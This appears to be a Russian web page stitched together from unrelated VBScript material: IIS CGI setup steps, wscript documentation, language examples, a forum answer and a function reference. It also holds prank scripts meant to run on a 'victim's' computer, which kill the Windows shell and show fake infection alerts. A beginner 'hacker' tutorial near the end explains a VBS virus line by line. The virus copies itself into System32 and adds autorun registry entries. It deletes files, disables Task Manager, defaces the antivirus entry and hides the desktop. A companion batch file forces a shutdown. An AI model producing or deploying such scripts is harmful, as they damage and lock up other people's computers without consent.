Скрипты vbs: How to Program with VBScript: 3 Steps (with Pictures)

Содержание

Приколы системных администраторов. VBS-скрипты

Шутки с использованием vbs-скриптов. Можно подшутить над другом или коллегами на работе.

Для того, чтобы активировать скрипт с приколом нужно следующее: открыть блокнот, скопировать vbs-скрипт, который находится ниже, далее вставить этот скрипт в блокнот и сохранить с расширением *.vbs, а после запустить на компе жертвы.

Пугалка №1. 

На экране появляются сообщения о том, что система заражена, появляется много командных строк, калькуляторы, блокноты и другое.

on error resume next 
set t=createobject("Wscript.Shell") 
set kill = createobject("wscript.shell") 
kill.run"taskkill /f /im explorer.exe",0
msgbox"Неполадка системы",16,"Error" 
msgbox"Вы заражены вирусом",48,"Windows" 
msgbox"Необходим перезапуск системы",16,"Windows"
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"calc.exe" 
t.run"notepad.exe" 
t.run"telnet" 
t.run"help" 
t. run"explorer" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"calc.exe" 
t.run"notepad.exe" 
t.run"telnet" 
t.run"help" 
t.run"help" 
msgbox"Сбой системы",16,"Windows" 
t.run"help" 
t.run"help" 
t.run"help"
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"calc.exe" 
t.run"notepad.exe" 
t.run"telnet" 
t.run"help" 
t.run"explorer" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"calc.exe" 
t.run"notepad.exe" 
t.run"telnet" 
t.run"help" 
t.run"help" 
msgbox"Сбой системы",16,"Windows" 
t.run"help" 
t.run"help" 
t.run"help"
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"calc.exe" 
t.run"notepad.exe" 
t.run"telnet" 
t.run"help" 
t.run"explorer" 
t.run"help" 
t.
run"help" t.run"help" t.run"help" t.run"help" t.run"help" t.run"calc.exe" t.run"notepad.exe" t.run"telnet" t.run"help" t.run"help" msgbox"Сбой системы",16,"Windows" t.run"help" t.run"help" t.run"help"

Пугалка №2. Мигающая клавиатура

На клавиатуре мигают лампочки, а так же имитируется нажатие клавиш CapsLock, NumLock, ScrollLock, в результате чего написанный текст принимает вид: ТаКоЙ ТеКсТ

Set s = CreateObject("Wscript.Shell") 
do 
wscript.sleep 80 
s.sendkeys"{numlock}" 
wscript.sleep 80 
s.sendkeys"{capslock}" 
wscript.sleep 80 
s.sendkeys"{scrolllock}" 
wscript.sleep 80
wscript.sleep 80 
s.sendkeys"{numlock}" 
wscript.sleep 80 
s.sendkeys"{capslock}" 
wscript.sleep 80 
s.sendkeys"{scrolllock}" 
wscript.sleep 80
s.sendkeys"{scrolllock}" 
wscript.sleep 80 
s.sendkeys"{capslock}" 
wscript.sleep 80 
s.
sendkeys"{numlock}" wscript.sleep 80 wscript.sleep 80 s.sendkeys"{scrolllock}" wscript.sleep 80 s.sendkeys"{capslock}" wscript.sleep 80 s.sendkeys"{numlock}" wscript.sleep 80 s.sendkeys"{numlock}" wscript.sleep 80 s.sendkeys"{capslock}" wscript.sleep 80 s.sendkeys"{scrolllock}" wscript.sleep 80 loop

Пугалка №3.

Открывается блокнот и пишется текст

on error resume next 
set t=createobject("Wscript.Shell") 
Set s = CreateObject("Wscript.Shell") 
set kill = createobject("wscript.shell") 
kill.run"taskkill /f /im explorer.exe",0 
t.run"notepad" 
wscript.sleep 580 
s.sendkeys"+{х}" 
wscript.sleep 80 
s.sendkeys"{о}" 
wscript.sleep 80 
s.sendkeys"{ч}" 
wscript.sleep 80 
s.sendkeys"{е}" 
wscript.sleep 80 
s.sendkeys"{ш}" 
wscript.sleep 80 
s.sendkeys"{ь}" 
wscript.sleep 80 
s.sendkeys"{ }" 
wscript.
sleep 80 s.sendkeys"+{н}" wscript.sleep 80 s.sendkeys"{а}" wscript.sleep 80 s.sendkeys"{у}" wscript.sleep 80 s.sendkeys"{ч}" wscript.sleep 80 s.sendkeys"{у}" wscript.sleep 888 s.sendkeys"%{f4}" wscript.sleep 80 s.sendkeys"{RIGHT}" wscript.sleep 80 s.sendkeys"{enter}" msgbox"Страшно было xD",16,"Шутка" t.run"explorer.exe"

Использование сценариев сервера сценариев Windows как CGI-сценариев

Аннотация

При попытке вызова сценария Visual Basic на веб-сервере в контексте сценария CGI, сценарий может не работать правильно. Наиболее вероятной причиной этого является, что обработчик сценариев обычно выполняется в контексте безопасности IUSR_Machine, созданные службами IIS при установке. К сожалению Cscript.exe (обработчик сценариев) требует наличия определенных записей реестра для пользователя IUSR_Machine. Поскольку куст HKEY_CURRENT_USER недоступен для IUSR_Machine, IIS будет загружать HKEY_USERS\.

По умолчанию куста на его месте. Тем не менее HKEY_USERS\. Куст по умолчанию не содержит необходимые разделы и записи для обработчика сценариев. В этих случаях возникнет ошибка CGI, без дополнительной информации. Или если файл Cscript.exe была запущена в пакетном режиме, будет отображаться сообщение об ошибке, указывающее, что не удалось загрузить параметры для указанного пользователя. В этом документе показывается Настройка компьютера IIS для выполнения как сценарий CGI сценариев Visual Basic.

Дополнительная информация

В данной статье предполагается, что сервер сценариев Windows установлена на компьютере с сервером IIS; параметр установки по умолчанию для NT Option Pack для этого. Чтобы включить поддержку VBScript, выполните следующие действия:

  1. Откройте командную строку. Чтобы сделать это, выполните следующие действия.

    1. В меню Пуск выберите пункт Выполнить.

    2. Введите команду cmdи нажмите кнопку ОК.

  2. Перейдите в папку Inetpub\AdminScripts. (Это расположение зависит от установки Internet Information Server).

  3. Введите следующие команды:

    Cscript adsutil.vbs ЗАДАЙТЕ w3svc/CreateCGIWithNewConsole «1»

    Cscript adsutil.vbs ЗАДАЙТЕ w3svc/CreateProcessAsUser «0»

  4. Настройте расширение .vbs для сопоставления Cscript.exe в каталог %SYSTEMROOT%\System32. Для этого в консоли управления Microsoft. В частности действия по настройке для IIS4 таковы:

    1. Запустите приложение IIS4 Консоли управления .

    2. Изменение свойств веб-узла (щелкните правой кнопкой мыши веб-узел в дереве отображения и выберите Свойства).

    3. Выберите вкладку Домашний каталог .

    4. В окне Настройки приложения выберите конфигурацию.

    5. На вкладке Сопоставления выберите Добавить.

    6. Исполняемый файл будет иметь следующие действия на компьютере WinNT 4.0 (Убедитесь, что используется правильный путь к Cscript.exe на установочном WinNT):

      C:\WINNT\system32\CSCRIPT.EXE.exe %s %s

    Введите расширение .vbs .

    1. Убедитесь, что установлены флажки Обработчиком сценария и Убедитесь, что существует файлов

      .

    2. Сохраните файл, нажав кнопку OK, Применить, ОКи ОК еще раз.

  5. С помощью редактора реестра, создайте следующие разделы и записи:

    HKEY_USERS\.DEFAULT\Software\Microsoft\Windows Script HostHKEY_USERS\.DEFAULT\Software\Microsoft\Windows Script Host\Settings

    Убедитесь, что всем пользователям доступ на чтение для этих двух разделов. Теперь можно создайте следующие записи:

    HKEY_USERS\.DEFAULT\Software\Microsoft\Windows Script Host\SettingsBatchMode: REG_DWORD: 0DisplayLogo: REG_DWORD: 0Timeout: REG_DWORD: 0
  6. Теперь скопируйте файл сценария .vbs виртуального каталога на сервере, на котором есть разрешения на выполнение сценариев. По умолчанию каталог/Scripts будет иметь необходимые разрешения.

Вы сможете проверить конфигурацию работает и не создавая следующий сценарий:

Option ExplicitWScript. Echo "Content-Type: text/html"WScript.EchoWScript.Echo "If you see this, it worked."

Сохраните указанный сценарий в каталоге/Scripts как Test.vbs. Теперь можно вызовите с помощью любого браузера следующий URL-адрес сценария:

http://server/scripts/test.vbs.

Примечание: все ситуации, где Cscript.exe сценарий запускается в контексте безопасности локальной системы или локальной системы, олицетворяя пользователя применяются те же ограничения. Изменения в реестр следует исправить эти ситуации.

Ссылки

Интернета сведения сервера электронной документации.

wscript | Microsoft Docs

  • Чтение занимает 2 мин

В этой статье

Windows Сервер скриптов предоставляет среду, в которой пользователи могут выполнять сценарии на различных языках, использующих разнообразные объектные модели для выполнения задач.

Синтаксис

wscript [<scriptname>] [/b] [/d] [/e:<engine>] [{/h:cscript|/h:wscript}] [/i] [/job:<identifier>] [{/logo|/nologo}] [/s] [/t:<number>] [/x] [/?] [<ScriptArguments>]
Параметры
Параметр Описание
scriptname Указывает путь и имя файла скрипта.
/b Задает пакетный режим, при котором не отображаются предупреждения, ошибки сценариев или входные запросы. Это противоположность /i.
/d Запускает отладчик.
/e Указывает подсистему, используемую для выполнения скрипта. Это позволяет выполнять сценарии, использующие расширение имени файла. Без параметра/e можно выполнять только скрипты, использующие зарегистрированные расширения имен файлов. Например, при попытке выполнить следующую команду:
cscript test.admin
Появится следующее сообщение об ошибке: ошибка ввода: обработчик скриптов для расширения файла. admin.
Одним из преимуществ использования нестандартных расширений имен файлов является то, что оно защищает от случайного двойного щелчка сценария и выполнения чего-то, которое не нужно запускать.
Это не создает постоянную связь между расширением имени файла Admin и сценарием VBScript. Каждый раз при запуске скрипта, использующего расширение имени файла Admin, необходимо использовать параметр/e.
/h: cscript Регистрирует cscript.exe в качестве сервера скриптов по умолчанию для выполнения скриптов.
/h: WScript Регистрирует wscript.exe в качестве сервера скриптов по умолчанию для выполнения скриптов. Это значение по умолчанию, если параметр /h опущен.
/i Указывает интерактивный режим, который отображает предупреждения, ошибки сценариев и входные запросы.Это значение по умолчанию и противоположное значение /b.
/Задание<identifier> Запускает задание, определяемое идентификатором в файле скрипта . WSF .
/лого указывает, что баннер сервера сценариев Windows отображается в консоли перед запуском скрипта.Это значение по умолчанию и противоположное значение /nologo.
/nologo указывает, что баннер узла Windows скриптов не отображается перед запуском скрипта. Это противоположность /лого.
/s Сохраняет текущие параметры командной строки для текущего пользователя.
/t:<number> Указывает максимальное время, в течение которого может выполняться скрипт (в секундах). Можно указать до 32 767 секунд.Значение по умолчанию — без ограничения по времени.
/x Запускает скрипт в отладчике.
скриптаргументс Задает аргументы, передаваемые в скрипт. Каждому аргументу сценария должна предшествовать косая черта (/).
/? Отображает справку в командной строке.

Remarks

  • Для выполнения этой задачи не требуются административные учетные данные. Поэтому рекомендуется выполнять эту задачу от имени пользователя без административных учетных данных.
  • Чтобы открыть окно командной строки, на начальном экране введите cmd, а затем щелкните командную строку.
  • Каждый параметр является необязательным; Однако нельзя указать аргументы скрипта без указания скрипта. если не указать скрипт или какие-либо аргументы скрипта, wscript.exe отображает диалоговое окно Параметры Windows сервера скриптов , которое можно использовать для задания глобальных свойств скриптов для всех сценариев, которые wscript.exe запускаются на локальном компьютере.
  • Параметр /t предотвращает чрезмерное выполнение скриптов путем установки таймера. Когда время превышает указанное значение, Wscript прерывает работу обработчика скриптов и завершает процесс.
  • Windows файлы сценариев обычно имеют одно из следующих расширений имени файла: . wsf, . vbs, .js.
  • Если дважды щелкнуть файл сценария с расширением, которое не имеет связи, откроется диалоговое окно Открыть с помощью . Выберите Wscript или cscript, а затем выберите всегда использовать эту программу, чтобы открыть этот тип файлов. Он регистрирует wscript.exe или cscript.exe в качестве сервера сценариев по умолчанию для файлов этого типа файлов.
  • Можно задать свойства для отдельных скриптов. дополнительные сведения см. в разделе обзор сервера сценариев Windows .
  • Windows Сервер скриптов может использовать файлы скриптов . WSF . Каждый файл . WSF может использовать несколько обработчиков скриптов и выполнять несколько заданий.

Дополнительные ссылки

VBScript — реализация языка программирования Basic

VBScript (сокращение от Visual Basic Scripting Edition) — скриптовый язык программирования, разработанный Microsoft и основанный на Visual Basic. Используется для создания скриптов в ОС семейства Windows.

Разработка VBScript началась в 1996 году в рамках технологии Microsoft Windows Script, изначально предназначенной для веб-разработчиков. Он должен был заменить устаревший язык, интерпретируемый приложением command.com. За следующие два года язык развился достаточно, чтобы обратить на себя внимание системных администраторов, нуждающихся в более мощном инструменте автоматизации, чем языке batch-файлов. Начиная с Windows 98, VBScript входил в стандартную поставку всех экземпляров Windows.

Развитие языка и включение в него новых возможностей продолжалось до появления фреймворка .NET; на этом этапе он был встроен в ASP.NET, и выпуск новых версий языка прекратился. Последней версией стала VBScript 5.8. Поддержкой языка занимается Sustaining Engineering Team.

Использование

Скрипты VBScript выполняются в специальной среде, существующей в нескольких вариантах:

  • Windows Script Host позволяет создавать независимые приложения путем написания скриптов . vbs и их запуска командами Cscript.exe (в режиме командной строки) и Wscript.exe (с графическим интерфейсом).
  • В Internet Explorer VBScript выполняет функции, аналогичные JavaScript, — создание исполняемых функций, встраиваемых в HTML.
  • С Active Server Pages язык используется для обработки веб-страниц на стороне сервера.
  • VBScript можно встраивать в два других типа скриптовых файлов: Windows Script Files (файлы .wsf, обеспечивающие модульность и повторное использование кода) и HTML Applications (файлы .hta, комбинирующие возможности HTML для описания интерфейса программы и VBScript для реализации логики).
  • Технология Microsoft Script Control позволяет встраивать среду выполнения VBScript в другие программы.

Особенности языка

Синтаксис VBScript является несколько упрощённой версией синтаксиса Visual Basic. В частности, не поддерживается типизация: все переменные имеют тип Variant, хотя каждое отдельно взятое значение можно преобразовать к нужному типу использованием явных функций преобразования CStr, CDate и т. д. Язык определяет множество констант для улучшения читабельности кода.

VBScript обеспечивает работу с датой/временем, обработку строк, математические вычисления, обработку ошибок, регулярные выражения и другое. Дополнительные функциональные возможности можно добавить, используя технологию ActiveX. Управление файловой системой, модификация файлов, операции с бегущим текстом доступны при использовании библиотеки scrrun.dll. Доступ к базе данных реализуется через ActiveX Data Objects (ADO), и IIS Metabase. Файлами XML и схемами можно управлять при помощи Microsoft XML Library Application Programming Interfaces (msxml6.dll, msxml3.dll), которые также могут использоваться для поиска информации в интернете.

Примеры:

Hello, World!:

Пример для версий VBScript 5.7, VBScript 5.8

Программа выводит сообщение в консоль и запускается командой cscript. exe.

WScript.Echo("Hello, World!")

Факториал:

Пример для версий VBScript 5.7, VBScript 5.8

Факториал вычисляется итеративно. Обратите внимание на то, что переполнения переменной-факториала не происходит, несмотря на то, что ее тип определяется автоматически.

f = 1
For i = 0 To 16
   WScript.Echo(i & "! = " & f)
   f = f * (i + 1)
Next

Числа Фибоначчи:

Пример для версий VBScript 5.7, VBScript 5.8

Числа Фибоначчи вычисляются рекурсивно. Обратите внимание на то, что многие элементы, типичные для Visual Basic, здесь отсутствуют: объявление переменных и типа значения, возвращаемого функцией, явное преобразование чисел в строку для конкатенации и т. д.

Function Fibonacci(N)
  If N < 2 Then
    Fibonacci = N
  Else
    Fibonacci = Fibonacci(N - 1) + Fibonacci(N - 2)
  End If
End Function

For i = 1 To 16
  res = res & Fibonacci(i) & ", "
Next
WScript.Echo (res & "...")

CamelCase:

Пример для версий VBScript 5.7, VBScript 5.8

В отличие от многих других реализаций Visual Basic, в VBScript нет функции StrConv. Поэтому проще всего выполнить нужное преобразование строки посимвольно.

Text = LCase(WScript.StdIn.ReadLine)
CamelCase = ""
WasSpace = True
For i = 1 To Len(Text)
  Ch = Mid(Text, i, 1)
  If InStr("abcdefghijklmnopqrstuvwxyz", Ch) = 0 Then
    WasSpace = True
  Else
    If WasSpace Then
      CamelCase = CamelCase & UCase(Ch)
    Else
      CamelCase = CamelCase & Ch
    End If
    WasSpace = False
  End If
Next
WScript. Echo CamelCase

Квадратное уравнение:

Пример для версий VBScript 5.7, VBScript 5.8
Function GetInt()
  Input = WScript.StdIn.ReadLine
  If not IsNumeric(Input) Then
    WScript.Echo "Coefficient is not a number."
    WScript.Quit
  End If
  GetInt = CInt(Input)
End Function
  

A = GetInt()
If A = 0 Then
  WScript.Echo "Not a quadratic equation."
  WScript.Quit
End If
B = GetInt()
C = GetInt()
D = B * B - 4 * A * C
p1 = -B / 2.0 / A
p2 = Sqr(Abs(D)) / 2.0 / A
If D = 0 Then
  WScript.Echo "x = " & p1
Else
  If D > 0 Then
    WScript.Echo "x1 = " & (p1 + p2)
    WScript.Echo "x2 = " & (p1 - p2)
  Else
    WScript.Echo "x1 = (" & p1 & ", " & p2 & ")"
    WScript.Echo "x2 = (" & p1 & ", " & -p2 & ")"
  End If
End If

как проверить, работает скрипт vbs в windows или нет?

Хм, ну, во-первых, если это сценарий бесконечного цикла, то вы, вероятно, используете его для периодической проверки папки, чтобы выполнить какую-то работу. Это звучит плохо, но обычно менее ресурсоемко, чем подключение к WMI для уведомлений. Если он поднялся и работает, он работает. Настоящая проблема заключается в том, чтобы отличить его от всех других сценариев WScript и CScripts, которые у вас могут быть запущены.

Процесс MS Sysinternals Explorer http://technet.microsoft.com/en-us/ sysinternals/bb896653 хорошо сообщает вам информацию о ваших запущенных процессах. В основном я бы использовал его, чтобы с помощью уникальных аргументов командной строки определить, какой процесс сценария размещает какой сценарий.

Нет простого способа точно найти идентификатор процесса вашего скрипта внутри скрипта. Это один из немногих фрагментов информации о времени выполнения, не представленных в объектной модели среды сценариев. Поскольку вы уже используете объект файловой системы, возможно, вы могли бы заставить его искать фиктивное имя файла для использования в качестве индикатора того, что он запущен. Если сценарий не смог создать или открыть файл, можно предположить, что другой экземпляр сценария уже запущен.

Или у вас есть другой уникальный фиктивный файл с именем, который вы можете легко создать, и ваш скрипт автоматически удалит его во время выполнения обработки. Таким образом, вы просто создаете пустой файл с таким именем в качестве теста, и если он не исчезнет через несколько секунд, вы будете знать, что никакие экземпляры вашего скрипта не запущены.

Кроме того, я думал, что вы можете запустить свой скрипт из другого скрипта, используя Exec(), который возвращает ProcessID запущенного скрипта, а затем освободить ссылку на него, сохранив ProcessID там, где он вам нужен для последующего использования.

Set oExec = WshShell.Exec( "infinite.vbs" )
MyProcessID = oExec.ProcessID ' procID of shell'd program. 
set oExec = Nothing

and do something with MyProcessID

Затем я заметил это сообщение

Найти свой собственный процесс ID в VBScript

Который использует Exec() для запуска сценария HTA, получает его ProcessID и ищет его в WMI, а затем использует результирующий набор из WMI, чтобы найти родительский процесс’ ProcessID, который должен быть сценарием, выполняющим вызовы Exec() и WMI. Проблема в том, что HTA может закончиться до того, как WMI получит шанс найти его.

Dim iMyPID : iMyPID = GetObject("winmgmts:root\cimv2").Get("Win32_Process.Handle='" & CreateObject("WScript.Shell").Exec("mshta.exe").ProcessID & "'").ParentProcessId 

В основном у меня такое чувство, что все это излишне по какой-то причине, по которой вы считаете, что вам нужно знать, запущен ли сценарий. Вместо этого сосредоточьтесь на том, какое действие «knowing if the process is running or not» заставляет вас предпринять. Поскольку это не было объяснено, мы действительно не можем предложить вам альтернативную стратегию, чтобы вы туда попали, но я уверен, что доступно более простое решение. TheFolderSpy http://venussoftcorporation.blogspot.com/2010/05/ например, файл folderspy.html будет одним из альтернативных способов запуска вашей программы без бесконечного цикла.

Не забудьте использовать команду сна в цикле, чтобы позволить другим программам выполнять работу. Это имеет большое значение в использовании ресурсов. Кроме того, вам нужен только один экземпляр FSO, сделайте его глобальным для всего вашего кода, создав его на ранней стадии в вашем скрипте перед любыми подпрограммами.

Поскольку вы смотрите на размер файла, вы, вероятно, проверяете его на наличие изменений. Я обнаружил, что цикл с небольшой задержкой WScript.Sleep 200 в нем хорошо определить, был ли файл изменен. Таким образом, вы можете обработать файл вместо того, чтобы пропускать его до следующего основного цикла, который должен быть установлен на 10 секунд или более.

Мануал — Как работать с VBS и Bat скриптами | Pawno-Info.Ru

//Функции работы с датой и временем:
CDate - Возвращает выражение, которое было преобразовано к типу Date
Date - Возвращает текущую системную дату
DateAdd - Возвращает дату, к которой был добавлен указанный временной интервал.
DateDiff - Возвращает величину интервала между двумя датами
DatePart - Возвращает указанную часть даты
DateSerial - Возвращает значение, имеющее тип Date, для указанного года, месяца и дня
DateValue - Возвращает значение, имеющее тип Date
Day - Возвращает целое число между 1 и 31, включительно, представляющее день месяца
FormatDateTime - Возвращает выражение, отформатированное как дата или время
Hour - Возвращает целое число между 1 и 31, включительно, представляющее час дня
Minute - Возвращает целое число между 0 и 59, включительно, представляющее минуту часа
Month - Возвращает целое число между 1 и 12, включительно, представляющее месяц года
MonthName - Возвращает сроку, содержащую название указанного месяца
Now - Возвращает текущую системную дату и время
Second - Возвращает целое число между 0 и 59, включительно, представляющее секунду минуты. 
Time - Возвращает текущее системное время
Timer - Возвращает число секунд, прошедших с 12:00 AM (24:00)
TimeSerial - Возвращает значение, содержащие время и имеющее тип Date, для указанного часа, минуты и секунды
TimeValue - Возвращает значение, содержащие время и имеющее тип Date
Weekday - Возвращает целое число от 1 до 7, включительно, представляющее день недели
WeekdayName - Возвращает сроку, содержащую название указанного дня недели
Year - Возвращает целое число, представляющее год

//Функции работы со строками:
Asc - Возвращает ANSI код первого символа в строке
Chr - Возвращает символ, заданный ANSI кодом
CStr - Возвращает выражение, преобразованное в строку (String)
InStr - Возвращает позицию первого нахождения одной строки в другой
InStrRev - Возвращает позицию первого нахождения одной строки в другой. Поиск ведется с конца строки.
LCase - Возвращает строку переведенную к нижнему регистру символов (строчные буквы)
Left - Возвращает заданное число символов с начала строки
Len - Возвращает число символов в строке или количество байт, требуемое для хранения переменной
LTrim - Возвращает копию строки без пробелов впереди строки
Mid - Возвращает заданное число символов из строки
Replace - Возвращает строку, в которой указанная последовательность символов, была заменена на другую, заданное количество раз
Right - Возвращает заданное число символов с конца строки
RTrim - Возвращает копию строки без пробелов после строки
Space - Возвращает строку, состоящую из заданного числа пробелов
String - Возвращает строку, состоящую из заданoго символа, указанной длины
StrReverse - Возвращает строку, в которой порядок символов изменен на противоположный
Trim - Возвращает копию строки без пробелов до и после строки
UCase - Возвращает строку переведенную к верхнему регистру символов (прописные буквы)

//Математические функции:
Abs - Абсолютное значение числа. 
Atn - Арктангенс
Cos - Косинус
Exp - Экспонента
Log - Натуральный логарифм
Randomize - Генератор псевдослучайных чисел
Rnd - Псевдослучайное число
Sin - Синус
Sqr - Квадратный корень
Tan - Тангенс

//Функции работы с числами:
Fix - Возвращает целую часть числа
FormatNumber - Возвращает выражение отформатированное как число
FormatPercent - Возвращает выражение отформатированное как процент (деленное на 100) с добавление знака процентов %
Hex - Возвращает строку, представляющую шестнадцатеричное значение числа
Int - Возвращает целую часть числа
Oct - Возвращает строку, представляющую восьмеричное значение числа
Round - Возвращает число округленное до требуемого количества десятичных знаков

Персональный сайт — скиптинг на vbs

Всем ку. У каждого хакера в определенный момент возникает желание напакостить кому-либо и написать свой собственный вирус, но незнание какого-либо языка делает это невозможным и новичку приходится искать уже готовые продукты. Сегодня я постараюсь помочь новичкам исполнить их мечту с помощью уже готовых функций. Своего рода предоставить им самые основные «детальки», необходимые для сборки вируса. Предупреждаю заранее – данная статья будет полезна лишь новичкам. Надеюсь она поможет им не только почистить комп своего недруга )), но и хоть самую малость изучить язык Visual Basic Script, и, возможно, даже самим написать какой-нибудь скриптик ( к примеру выскакивающее окошко с сообщением о том что комп был атакован сервером компании Apple XP и почистить системные каталоги )). Тем же, кто считает, что вирусы на VBS это детские шалости могу сказать, что у таких вирусов есть преимущества — пишутся они буквально за несколько минут, и имеют очень малый размер (около 10 кб ). Каждую строчку кода я попытаюсь как можно понятнее раскрыть. Итак, поехали. 

Создаём файл virus.vbs , открываем блокнот ( в качестве редактора могу порекомендовать notepad++, который можно скачать здесь ) и начинаем писать наш вредоносный скрипт: 

Set Shell = CreateObject(«Wscript.Shell») 
Set Application = CreateObject(«Shell. Application») 
Set FileSystemObject = CreateObject(«scripting.filesystemobject») 
Set File = FileSystemObject.GetFile(WScript.ScriptFullName) 
On Error Resume Next 
File.Copy («c:windowsSystem32virus.vbs») 
Shell.RegWrite «HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunvirus», «C:WINDOWSSYSTEM32virus.vbs» 
Shell.RegWrite «HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesvirus», «C:WINDOWSSYSTEM32virus.vbs» 
Shell.RegWrite «HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOncevirus», «C:WINDOWSSYSTEM32virus.vbs» 
Shell.popup «message»,5, «heading», 0+16 
FileSystemObject.deletefolder»C:example»,True 
FileSystemObject.deletefile»C:example.txt»,True 
Shell.RegWrite «HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisabletaskmgr», 1, «REG_DWORD» 
Shell.RegWrite «HKEY_CURRENT_USERSoftwaremIRCLicense», «blabla» 
Shell.RegWrite «HKEY_LOCAL_MACHINESOFTWAREESETESET SecurityCurrentVersionInfoEditionName», «hacked by ваш ник ;)))» 
Shell. RegDelete «HKEY_CURRENT_USERexample» 
Shell.RegWrite «HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDesktop», 1, «REG_DWORD» 
Application.MinimizeAll 
InternerExplorer.Visible = True 
InternerExplorer.Navigate «http://porno.ru/» 

Теперь разберём по порядку каждую строчку: 

Set Shell = CreateObject(«Wscript.Shell») ‘с этого момента начинается VB скрипт 

Set Application = CreateObject(«Shell.Application») ‘разрешаем приложения 

Set FileSystemObject = CreateObject(«scripting.filesystemobject») ‘если в скрипте присутствует код использования ФС (aka файловой системы) то необходимо разрешить эту функцию перед началом ее выполнения 

Set File = FileSystemObject.GetFile(WScript.ScriptFullName) ‘разрешаем работу с файлами (копирование, перемещение и т.д.) 

On Error Resume Next ‘очень важная функция — пропуск ошибок (если какого-то файла/папки не окажется то произойдет ошибка в скрипте и все последующие функции не будут выполнены, после этой функции после возникающих ошибок последующие функции будут выполнятся как ни в чем не бывало) 

File. Copy («c:windowsSystem32virus.vbs») ‘создаём файл virus.vbs в директории c:windowsSystem32 , который содержит тот же код что и этот (короче данный файл копируется туда) 

Shell.RegWrite «HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunvirus», «C:WINDOWSSYSTEM32virus.vbs» ‘прописываем только что созданный файл в автозагрузку через реестр в новый строковый параметр «virus» располагающийся здесь — HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun 

Shell.RegWrite «HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesvirus», «C:WINDOWSSYSTEM32virus.vbs» ‘прописываем только что созданный файл в автозагрузку через реестр в новый строковый параметр «virus» располагающийся здесь — HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices 

Shell.RegWrite «HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOncevirus», «C:WINDOWSSYSTEM32virus.vbs» ‘если прописать наш файл только здесь, то вирус после перезагрузки запустится только один раз, но!!! когда он будет запускаться в нем будет присутствовать эта строка, которая снова пропишет его опять таки в эту директорию — и так после каждого ребута он всё равно будет запускаться. (можешь выбрать из всех трёх способов автозагрузки только один, на случай если юзер вдруг случайно наткнется на одну из этих записей в реестре) 

Shell.popup «message»,5, «heading», 0+16 ‘выводим сообщение с заголовком «heading» и самим сообщением «message» и 0+16=ошибка(можно заменить на 0+64(значок i), 0+48(значок !), 0+32(значок ?) или 0+0(без значка)) и устанавливаем время показа мессаги в 5 сек.(если поставить 0 время показа будет неограниченным) эту сроку можно переместить и в конец скрипта, тогда сообщение будет выводиться после отработки скрипта. Вместо «message» ты можешь подставить любой текст. А что это будет за текст — это уже зависит от твоей фантазии. 

FileSystemObject.deletefolder»C:example»,True ‘удаляем папку example на диске C 

FileSystemObject.deletefile»C:example.txt»,True ‘удаляем файл example.txt на диске C 
‘изменения реестра (все вкусности которые могут использовать вири, нам не перечислить): 

Shell.RegWrite «HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisabletaskmgr», 1, «REG_DWORD» ‘отключаем ctrl+alt+del а точнее запрещаем запуск taskmgr aka диспетчер задач windows 

Shell. RegWrite «HKEY_CURRENT_USERSoftwaremIRCLicense», «blabla» ‘если у юзера зарегана mIRC то можно сделать подляночку — пускай зарегает еще раз:) Для этого меняем серийник на blabla Ты можешь использовать данную функцию для любых других изменений значений реестра, для этого вместо «HKEY_CURRENT_USERSoftwaremIRCLicense» прописываешь путь до интересующего параметра, а вместо «blabla» новое значение. 

Shell.RegWrite «HKEY_LOCAL_MACHINESOFTWAREESETESET SecurityCurrentVersionInfoEditionName», «hacked by ваш ник ;)))» ‘в главном окне антивируса NOD32 после слов ESET NOD32 Antivirus появится надпись Hacked by «ваш ник» неплохо, да? :))) 

Shell.RegDelete «HKEY_CURRENT_USERexample» ‘удаляем ветку реестра HKEY_CURRENT_USERexample 

‘и на последок делаем следующее: 
Shell.RegWrite «HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDesktop», 1, «REG_DWORD» ‘удаляем все с рабочего стола 

Application.MinimizeAll ‘свёртываем все окна 

InternerExplorer. Visible = True 
InternerExplorer.Navigate «http://porno.ru/» ‘переходим на порно сайт чтобы хоть как то успокоить юзера которому теперь не сладко придется. 

Так, с *.vbs вроде разобрались, а как же юзер который остался наедине с… как бы это сказать по мягче, в общем чтобы он не перевозбудился от всего только что увиденного, ограничим ему время просмотра до 120 секунд (2 минут :)). Для этого создадим файл virus.bat и впишем в него сдедующую команду: 

shutdown -s -f -t 120 -c «chuvak, chtoby ty ne perevozbudilsja, companija MiCrO$ofT ogranichila vremja prosmotra dannogo sajta do 2 minut, posle chego vy otpravytes v rebut» 

А чтобы не вылезала некрасивая консоль напишем перед этой командой следующее: 

@echo off 

Джойним два этих файлика и … в общем это твоё дело для каких целей ты их будешь использовать, но я рекомендую их удалить , так сказать от греха подальше. На последок скажу что статья написана исключительно в ознакомительных целях и не в каких других. В общем не делай глупостей!!! лучше подумай куда бы можно приспособить данные команды чтобы от них польза была. Удачи, юный хакер

Что такое VBScript? Введение и примеры

Что такое VBScript?

VBScript (Visual Basic Script) разработан Microsoft с целью разработки динамических веб-страниц. Это язык сценариев на стороне клиента, такой как JavaScript. VBScript — это облегченная версия Microsoft Visual Basic. Синтаксис VBScript очень похож на синтаксис Visual Basic. Если вы хотите, чтобы ваша веб-страница была более живой и интерактивной, вы можете включить VBScript в свой код.

